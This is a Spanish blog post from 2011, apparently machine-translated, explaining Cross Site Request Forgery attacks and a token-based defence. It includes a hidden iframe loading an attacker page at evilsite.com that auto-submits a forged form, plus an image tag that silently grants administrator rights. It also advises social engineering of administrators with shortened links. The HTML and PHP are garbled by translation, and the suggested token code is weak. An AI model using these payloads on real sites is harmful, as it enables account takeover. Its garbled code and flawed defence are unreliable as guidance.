sábado, 15 de octubre de 2011

Cross Site Request Forgery

Cross Site Request Forgery

Descripción

Los ataques CSRF pueden permitir a un atacante secuestrar una cuenta de la víctima  Una adecuada explotación CSRF puede cerrar la sesión de un usuario transferencia de dinero, cambiar una contraseña, modificar la información, hacer postes, cambio de estado de usuario, todo lo cual se lleva a cabo dentro de la cuenta de la víctima.
No es un ataque relativamente fácil de realizar, pero puede ser muy difícil de detectar el ataque en sí. Esto se debe al hecho de que los ataques parecen ser realizados por un usuario legítimo.

Gravedad

Moderado

verosimilitud Exploit

Muy Alta

 Como Hacer/Information

Hay una serie de técnicas que se pueden utilizar para realizar un ataque CSRF. Las formas más comunes de ataque son los siguientes: XSS , etiquetas IMG y la ingeniería social.
Por ingeniería social puede ser más difícil de lograr ya que es esencial ganar la confianza de las víctimas, y crear una página aparte para explotar la vulnerabilidad.

El método de XSS

Este método se basa en la ejecución de JavaScript, y ejecutar una consulta en el usuario víctima.
El siguiente trabajo es posible si la página de administración utiliza $ _GET () o $ _REQUEST (), de entrada:

Se oculta el iframe, por lo que el administrador no sospecha nada cuando la página mágicamente redirige a la página admin.php.


El siguiente ejemplo es si la página de administración utiliza $ _POST (), de entrada:
1 - Crear una página web alojada en alguna parte del código en línea y uso similar a lo siguiente, cambiar las entradas de forma según sea necesario:
  < html >
 < cuerpo >
 < forma action = "" method = "post" id = "FormID">
         < entrada type = "hidden" name = "ataque" value = "valuegoeshere" />
 </ formulario >
 < script de > document.getElementById ('FormID) submit ();. </ script de >
 </ cuerpo >
 </ html >
2 - Insertar la página dentro de un iframe en la página de XSS vulnerable de la siguiente manera:
  < iframe src = "http://www.evilsite.com/csrfrider.php" height = '0 'width = '0' style = 'border: 0; "/>
Esto enviara el formulario automáticamente a la página de administración
Ya que está escondido en el iframe, que requiere poca o ninguna ingeniería social.

IMG inyección

Como incrustar el exploit CSRF dentro de un iframe como se indica en el método de XSS, etiquetas <img /> También puede ser utilizado para ocultar un ataque CSRF. El más común de estos ataques se utilizan en sistemas de tablones. Avatares y [img] a menudo ofrecen poco o ningún control, y son a menudo un punto caliente para los puntos de ataque CSRF.
Incorporación de los ataques CSRF en [img] tienen el siguiente aspecto en el código HTML:
  < img src = "http://www.example.com/admin.php?edituser=1337&addgroup=administrator" />
Cuando la página es visitada por un usuario autorizado (el administrador), los ataques maliciosos se llevarán a cabo, y el administrador no tendrá ninguna indicación inmediata de que ha habido un ataque.
Por supuesto, si no hay fallos de XSS que se encuentren en el sitio, y no funciona la técnica de IMG, la ingeniería social siempre puede llevarse a cabo. Para ello será necesario ponerse en contacto con un administrador y para que hagan clic en un enlace que les llevará por un script malicioso. Esto podría ser simplemente ocultar la URL $ _GET con tinyurl, o que el administrador tenga acceso a su script de post malicioso. Esto es un poco más arriesgado, ya que a menudo es más rastreable que las técnicas anteriores.

Protección

Mientras que con el método POST para todas las formas le ayudará a protegerse contra los ataques CSRF, no es en absoluto prueba de balas. La forma recomendada para proteger contra los ataques CSRF es el uso de fichas únicas de las formas. Un símbolo es usado dentro de un elemento oculto en una forma de demostrar que la solicitud no se está forjando. Cada token es único para el usuario, y se almacena en la sesión del usuario. Para configurar las fichas, se puede usar el siguiente código:
  session_start ();
 if (! isset ($ _SESSION ['token']))
 {
         $ Token = md5 ( rand ());
         $ Token = str_split ($ token, 10);
         $ _SESSION ['Token'] = $ token [0];
 }
Lo anterior va a crear el símbolo y lo almacenan en la sesión del usuario. Un valor oculto que se encuentra en el formulario de entrada de la siguiente manera:
  < entrada type = 'oculto' name = 'token' valor ='<?=$_ SESIÓN ['token']?> "/>
La tercera parte del cheque simbólico es agregar la validación de la siguiente manera:
  if ($ _POST ['token'] == $ _SESSION ['token'])
 {
         / * Token es válida, continúe * /
 }
HASTA PRONTO!!

1 comentario:

  1. Excelente explicacion! Más claro no canta un gallo. Me gustaría que realizaran un post con más ejemplos. Por ejemplo con DVWA, con el cual he realizado algunas peácticas. Feleciotaciones

    ResponderEliminar